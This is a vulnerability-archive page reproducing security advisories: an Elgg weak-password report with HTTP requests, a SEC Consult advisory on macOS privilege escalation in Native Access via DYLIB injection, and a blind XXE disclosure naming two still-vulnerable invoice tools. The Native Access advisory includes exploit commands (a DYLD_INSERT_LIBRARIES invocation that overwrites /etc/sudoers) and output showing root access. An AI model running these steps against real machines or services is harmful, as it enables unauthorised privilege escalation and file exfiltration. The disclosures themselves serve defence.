      "affected": [
        {
          "product": "Weak Password Complexity",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Andrey Stoykov"
        }
      ],
      "descriptions": [
        {
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          "value": "# Exploit Title: Elgg - Lack of Password Complexity\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html\n\n// HTTP Request - Changing Password\n\nPOST /action/usersettings/save HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 216\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/settings/user/admin\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=nIY_M_wh53bUxoHvuKO1YA\u0026__elgg_ts=1769266299\u0026username=admin\u0026name=Admin+User\u0026email_password=\u0026email=\nadmin () example com\n\u0026current_password=[REDACTED]\u0026password=Passw0rd%21\u0026password2=Passw0rd%21\u0026language=en\u0026guid=46\n\n\n// HTTP Response - Changing Password\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:52:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/settings/user/admin\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 394\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/settings/user/admin\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/settings/user/admin\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/settings/user/admin\";\u003e\nhttp://elgg.local/settings/user/admin\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n\n// HTTP Request - Changing Password - Following Redirect\n\nGET /settings/user/admin HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/usersettings/save\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n\n\n// HTTP Response - Changing Password - Following Redirect\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:52:11 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 27859\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003ePassword changed\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0189

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
SEC Consult SA-20260202-0 :: Multiple vulnerabilities in Native Instruments Native Access (MacOS)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260202-0 > ======================================================================= title: Multiple vulnerabilities product: Native Instruments - Native Access (MacOS) vulnerable version: verified up to 3.22.0 fixed version: n/a CVE number: CVE-2026-24070, CVE-2026-24071              impact: high homepage:https://www.native-instruments.com/en/specials/native-access/               found: 2025-07-22 by: Florian Haselsteiner (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Native Instruments is a leading manufacturer of software and hardware for computer-based audio production and DJing. In June of 2023, iZotope, Plugin Alliance and Brainworx joined us in our mission to develop innovative, fully-integrated solutions for every creative task, profession, and skill level." Source:https://www.native-instruments.com/en/company/ Business recommendation: ------------------------ The vendor was unreachable and did not respond to multiple contact attempts. No patch is available. Customers should contact the vendor and request a patch. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070) During the installation of the Native Access application, a privileged helper `com.native-instruments.NativeAccess.Helper2`, which is used by Native Access to trigger functions via XPC communication like copy-file, remove or set-permissions, is deployed as well. The communication with the XPC service of the privileged helper is only allowed if the client process is signed with the corresponding certificate and fulfills the following code signing requirement: "anchor trusted and certificate leaf[subject.CN] = \"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\"" The Native Access application was found to be signed with the `com.apple.security.cs.allow-dyld-environment-variables` and `com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB injection and therefore command execution in the context of this application. A low privileged user can exploit the DYLIB injection to trigger functions of the privileged helper XPC service resulting in privilege escalation by first deleting the /etc/sudoers file and then copying a malicious version of that file to /etc/sudoers. 2) XPC Client Validation via PID (CVE-2026-24071) It was found that the XPC services uses the PID of the connecting client to verify its code signature. This is considered insecure and can be exploited by PID reuse attacks. The connection handler function uses _xpc_connection_get_pid(arg2) as argument for the hasValidSignature function. This value can not be trusted since it is vulnerable to PID reuse attacks. ---------------------------------------------------------------------------- 10000a60c int64_t ___main_block_invoke(int64_t arg1, xpc_object_t arg2) 10000a630 if (_xpc_get_type(object: arg2) != __xpc_type_connection) 10000a64c return _syslog$DARWIN_EXTSN(5, "Unexpected type") 10000a64c 10000a65c if ((hasValidSignature(_xpc_connection_get_pid(arg2)) & 1) == 0) 10000a66c _syslog$DARWIN_EXTSN(5, "Refused connection from client with bad signature") 10000a674 _xpc_connection_cancel(arg2) 10000a674 10000a684 _xpc_connection_set_event_handler(arg2, &___block_literal_global) 10000a694 return _xpc_connection_activate(arg2) __tailcall ---------------------------------------------------------------------------- 3) No Path validation in Delete and Copy file When triggering file copy or delete call via XPC, the service does not check if it should be allowed to delete or copy the file. No restrictions are applied for copying or deleting files. These missing restrictions lead to privilege escalation due to the possibility to delete and then write to /etc/sudoers or /Library/LaunchDaemons. This issue is not exploitable on its own without a vulnerability allowing for connection to the privileged helper. However the other two vulnerabilities described in this advisory allow exactly that. Proof of concept: ----------------- 1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070) To check for the dangerous entitlements `com.apple.security.cs.allow-dyld-environment-variables` and `com.apple.security.cs.disable-library-validation` the "codesign" utility of MacOS can be used: ---------------------------------------------------------------------------- lowpriv@Users-Mac exploit % codesign -dvv --entitlements :- /Applications/Native\ Access.app/Contents/MacOS/Native\ Access Executable=/Applications/Native Access.app/Contents/MacOS/Native Access Identifier=com.native-instruments.nativeaccess2 [...] <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""https://www.apple.com/DTDs/PropertyList-1.0.dtd";><plist version="1.0"> <dict> <key>com.apple.security.cs.allow-dyld-environment-variables</key> <true/> <key>com.apple.security.cs.allow-jit</key> <true/> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true/> <key>com.apple.security.cs.disable-library-validation</key> <true/> </dict> </plist> ---------------------------------------------------------------------------- The privileged helper located at /Library/PrivilegedHelperTools/com.native-instruments.NativeAccess.Helper2 was found to check the code signature of the XPC client before running any action. Due to the DYLIB injection vulnerability in the Native Access executable it is possible to execute code in the context of the process of Native Access which has a valid signature for the needed Team ID. The XPC service exposed multiple functions, e.g. copy-file and remove. The following code was used to craft a malicious DYLIB, which on load connects to the privileged helper XPC service and deletes the /etc/sudoers file as such that it can then copy a malicious version of the sudoers file to /etc/sudoers. [ PoC exploit code removed ] On a Mac system with the developer tools installed the PoC library can be compiled as follows: ---------------------------------------------------------------------------- $ clang -framework Foundation -dynamiclib -o libxpcclient.dylib libxpcclient.m ---------------------------------------------------------------------------- Before running the exploit ensure that the file /tmp/bad_sudoers exists and is a valid sudoers file! The exploit can then be executed using the DYLIB injection: ---------------------------------------------------------------------------- $ DYLD_INSERT_LIBRARIES=<path_to_DYLIB> "/Applications/Native Access.app/Contents/MacOS/Native Access" ---------------------------------------------------------------------------- The bad_sudoers file will then be copied to /etc/sudoers. ---------------------------------------------------------------------------- lowpriv@Users-Mac ~ % id uid=503(lowpriv) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),399(com.apple.access_ssh-disabled),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),100(_lpoperator),702(com.apple.sharepoint.group.2) lowpriv@Users-Mac ~ % sudo id Password: lowpriv is not in the sudoers file. This incident has been reported to the administrator. lowpriv@Users-Mac ~ % DYLD_INSERT_LIBRARIES=/Users/lowpriv/Desktop/exploit/libxpcclient.dylib "/Applications/Native Access.app/Contents/MacOS/Native Access" 2025-07-22 05:38:03.334 Native Access[35760:498359] [+] Dylib loaded. Starting XPC communication... 2025-07-22 05:38:03.458 Native Access[35760:498359] Received reply: 2025-07-22 05:38:03.458 Native Access[35760:498359] success: <bool: 0x20a033370>: true 2025-07-22 05:38:03.466 Native Access[35760:498359] Received reply: 2025-07-22 05:38:03.466 Native Access[35760:498359] success: <bool: 0x20a033370>: true ^C lowpriv@Users-Mac ~ % sudo id Password: uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2) ---------------------------------------------------------------------------- 2) XPC Client Codesign via PID (CVE-2026-24071) To exploit the PID usage for the client validation, a known PID reuse attack can be used. There are several templates for this attack available. The following code can be used to exploit this: [ PoC exploit code removed ] 3) No Path validation in Delete and Copy file No PoC available. Vulnerable / tested versions: ----------------------------- The following versions have been tested on MacOS Sequoia and MacOS Tahoe: * verified on 3.18.1, 3.19.0, 3.20.1, 3.21.0, 3.21.1 and up to 3.22.0 (potentially all lower versions might be vulnerable too). Vendor contact timeline: ------------------------ 2025-07-23: Contacting vendor throughinfo () native-instruments com; No response 2025-08-07: Contacting vendor again, adding various other emails found on the website. No response. 2025-09-16: Trying to establish contacts via LinkedIn. No response. 2025-10-13: Registering support account and using "Support Chat" function. No response except spam newsletters. 2026-02-02: Release of advisory. Solution: --------- The vendor was unreachable and did not respond to multiple contact attempts. No patch is available. Customers should contact the vendor and request a patch. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your applicationhttps://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local officeshttps://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web:https://www.sec-consult.com Blog:https://blog.sec-consult.com X:https://x.com/sec_consult EOF Florian Haselsteiner / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://secli
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
analysis GCVE-1988-2026-0189 (this record)

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          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260202-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n            product: Native Instruments - Native Access (MacOS)\n vulnerable version: verified up to 3.22.0\n      fixed version: n/a\n         CVE number: CVE-2026-24070, CVE-2026-24071\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.native-instruments.com/en/specials/native-access/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-07-22\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Native Instruments is a leading manufacturer of software and hardware\nfor computer-based audio production and DJing. In June of 2023, iZotope,\nPlugin Alliance and Brainworx joined us in our mission to develop innovative,\nfully-integrated solutions for every creative task, profession, and skill level.\"\n\nSource:https://www.native-instruments.com/en/company/\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nDuring the installation of the Native Access application, a privileged helper\n`com.native-instruments.NativeAccess.Helper2`, which is used by Native Access\nto trigger functions via XPC communication like copy-file, remove or\nset-permissions, is deployed as well.\n\nThe communication with the XPC service of the privileged helper is only allowed\nif the client process is signed with the corresponding certificate and\nfulfills the following code signing requirement:\n\"anchor trusted and certificate leaf[subject.CN] = \\\"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\\\"\"\n\nThe Native Access application was found to be signed with the\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB\ninjection and therefore command execution in the context of this application.\n\nA low privileged user can exploit the DYLIB injection to trigger functions of\nthe privileged helper XPC service resulting in privilege escalation by first\ndeleting the /etc/sudoers file and then copying a malicious version of that file\nto /etc/sudoers.\n\n\n2) XPC Client Validation via PID (CVE-2026-24071)\nIt was found that the XPC services uses the PID of the connecting client to\nverify its code signature. This is considered insecure and can be exploited\nby PID reuse attacks.\n\nThe connection handler function uses _xpc_connection_get_pid(arg2) as argument\nfor the hasValidSignature function. This value can not be trusted since it is\nvulnerable to PID reuse attacks.\n----------------------------------------------------------------------------\n10000a60c    int64_t ___main_block_invoke(int64_t arg1, xpc_object_t arg2)\n\n10000a630        if (_xpc_get_type(object: arg2) != __xpc_type_connection)\n10000a64c            return _syslog$DARWIN_EXTSN(5, \"Unexpected type\")\n10000a64c\n10000a65c        if ((hasValidSignature(_xpc_connection_get_pid(arg2)) \u0026 1) == 0)\n10000a66c            _syslog$DARWIN_EXTSN(5, \"Refused connection from client with bad signature\")\n10000a674            _xpc_connection_cancel(arg2)\n10000a674\n10000a684        _xpc_connection_set_event_handler(arg2, \u0026___block_literal_global)\n10000a694        return _xpc_connection_activate(arg2) __tailcall\n----------------------------------------------------------------------------\n\n3) No Path validation in Delete and Copy file\nWhen triggering file copy or delete call via XPC, the service does not check if it\nshould be allowed to delete or copy the file. No restrictions are applied for\ncopying or deleting files. These missing restrictions lead to privilege escalation\ndue to the possibility to delete and then write to /etc/sudoers or /Library/LaunchDaemons.\n\nThis issue is not exploitable on its own without a vulnerability allowing for\nconnection to the privileged helper. However the other two vulnerabilities\ndescribed in this advisory allow exactly that.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nTo check for the dangerous entitlements\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` the \"codesign\" utility of\nMacOS can be used:\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac exploit % codesign -dvv --entitlements :- /Applications/Native\\ Access.app/Contents/MacOS/Native\\ \nAccess\nExecutable=/Applications/Native Access.app/Contents/MacOS/Native Access\nIdentifier=com.native-instruments.nativeaccess2\n[...]\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST \n1.0//EN\"\"https://www.apple.com/DTDs/PropertyList-1.0.dtd\";\u003e\u003cplist version=\"1.0\"\u003e\n        \u003cdict\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-dyld-environment-variables\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-jit\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.allow-unsigned-executable-memory\u003c/key\u003e\n                \u003ctrue/\u003e\n                \u003ckey\u003ecom.apple.security.cs.disable-library-validation\u003c/key\u003e\n                \u003ctrue/\u003e\n        \u003c/dict\u003e\n\u003c/plist\u003e\n----------------------------------------------------------------------------\n\nThe privileged helper located at\n/Library/PrivilegedHelperTools/com.native-instruments.NativeAccess.Helper2\nwas found to check the code signature of the XPC client before running any\naction. Due to the DYLIB injection vulnerability in the Native Access executable\nit is possible to execute code in the context of the process of Native Access\nwhich has a valid signature for the needed Team ID. The XPC service exposed\nmultiple functions, e.g. copy-file and remove.\n\nThe following code was used to craft a malicious DYLIB, which on load connects\nto the privileged helper XPC service and deletes the /etc/sudoers file as such\nthat it can then copy a malicious version of the sudoers file to /etc/sudoers.\n\n[ PoC exploit code removed ]\n\nOn a Mac system with the developer tools installed the PoC library can be compiled\nas follows:\n\n----------------------------------------------------------------------------\n$ clang -framework Foundation -dynamiclib -o libxpcclient.dylib libxpcclient.m\n----------------------------------------------------------------------------\n\nBefore running the exploit ensure that the file /tmp/bad_sudoers exists and\nis a valid sudoers file! The exploit can then be executed using the DYLIB\ninjection:\n\n----------------------------------------------------------------------------\n$ DYLD_INSERT_LIBRARIES=\u003cpath_to_DYLIB\u003e \"/Applications/Native Access.app/Contents/MacOS/Native Access\"\n----------------------------------------------------------------------------\n\nThe bad_sudoers file will then be copied to /etc/sudoers.\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac ~ % id\nuid=503(lowpriv) gid=20(staff) \ngroups=20(staff),12(everyone),61(localaccounts),399(com.apple.access_ssh-disabled),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),100(_lpoperator),702(com.apple.sharepoint.group.2)\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nlowpriv is not in the sudoers file.\nThis incident has been reported to the administrator.\n\nlowpriv@Users-Mac ~ % DYLD_INSERT_LIBRARIES=/Users/lowpriv/Desktop/exploit/libxpcclient.dylib \"/Applications/Native \nAccess.app/Contents/MacOS/Native Access\"\n2025-07-22 05:38:03.334 Native Access[35760:498359] [+] Dylib loaded. Starting XPC communication...\n2025-07-22 05:38:03.458 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.458 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n2025-07-22 05:38:03.466 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.466 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n^C\n\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nuid=0(root) gid=0(wheel) \ngroups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)\n----------------------------------------------------------------------------\n\n\n2) XPC Client Codesign via PID (CVE-2026-24071)\nTo exploit the PID usage for the client validation, a known PID reuse attack\ncan be used. There are several templates for this attack available.\nThe following code can be used to exploit this:\n\n[ PoC exploit code removed ]\n\n\n3) No Path validation in Delete and Copy file\nNo PoC available.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions have been tested on MacOS Sequoia and MacOS Tahoe:\n* verified on 3.18.1, 3.19.0, 3.20.1, 3.21.0, 3.21.1 and up to 3.22.0\n  (potentially all lower versions might be vulnerable too).\n\n\nVendor contact timeline:\n------------------------\n2025-07-23: Contacting vendor throughinfo () native-instruments com; No response\n2025-08-07: Contacting vendor again, adding various other emails\n            found on the website. No response.\n2025-09-16: Trying to establish contacts via LinkedIn. No response.\n2025-10-13: Registering support account and using \"Support Chat\" function.\n            No response except spam newsletters.\n2026-02-02: Release of advisory.\n\n\nSolution:\n---------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://secli"
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GCVE-1988-2026-0186

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Blind XXE in Electronic Invoice online tools (validator.invoice-portal.de, xrechnung.rib.de)
Summary
During tests of electronic invoicing tools, I discovered multiple XXE and Blind XXE vulnerabilities in online tools parsing electronic invoices in XML formats. While most of the affected tools have fixed these vulnerabilities, two online tools remain vulnerable to Blind XXE attacks, allowing exfiltration of files. Disclosure to the affected operators happened more than 90 days ago. Vulnerable tools: https://validator.invoice-portal.de/ https://xrechnung.rib.de/ (only the visualization tool) In both cases, uploading an invoice with a blind XXE payload leads to HTTP requests to the attacker's server and exfiltrates file content. Proof of concepts, e.g., to exfiltrate /etc/hostname (ciibxxehostname.xml), can be found here: https://github.com/hannob/invoicesec Timeline validator.invoice-portal.de: 2025-11-17 Informed support contact about Blind XXE vulnerability, no reply 2026-02-16 Still vulnerable, public disclosure Timeline xrechnung.rib.de: 2025-10-29 Reported "standard" XXE via contact form, no reply 2025-11-18 Re-test, incomplete fix: "Standard" XXE fixed, Blind XXE still possible 2025-11-18 Re-reported incomplete fix, no reply 2026-02-16 Still vulnerable, public disclosure This was part of a larger research effort about the security of EU electronic invoices: https://invoice.secvuln.info/ -- Hanno Böck - Independent security researcher https://itsec.hboeck.de/ https://badkeys.info/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown Blind XXE in Affected: unknown
Create a notification for this product.

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displaying 521 - 530 publications in total 581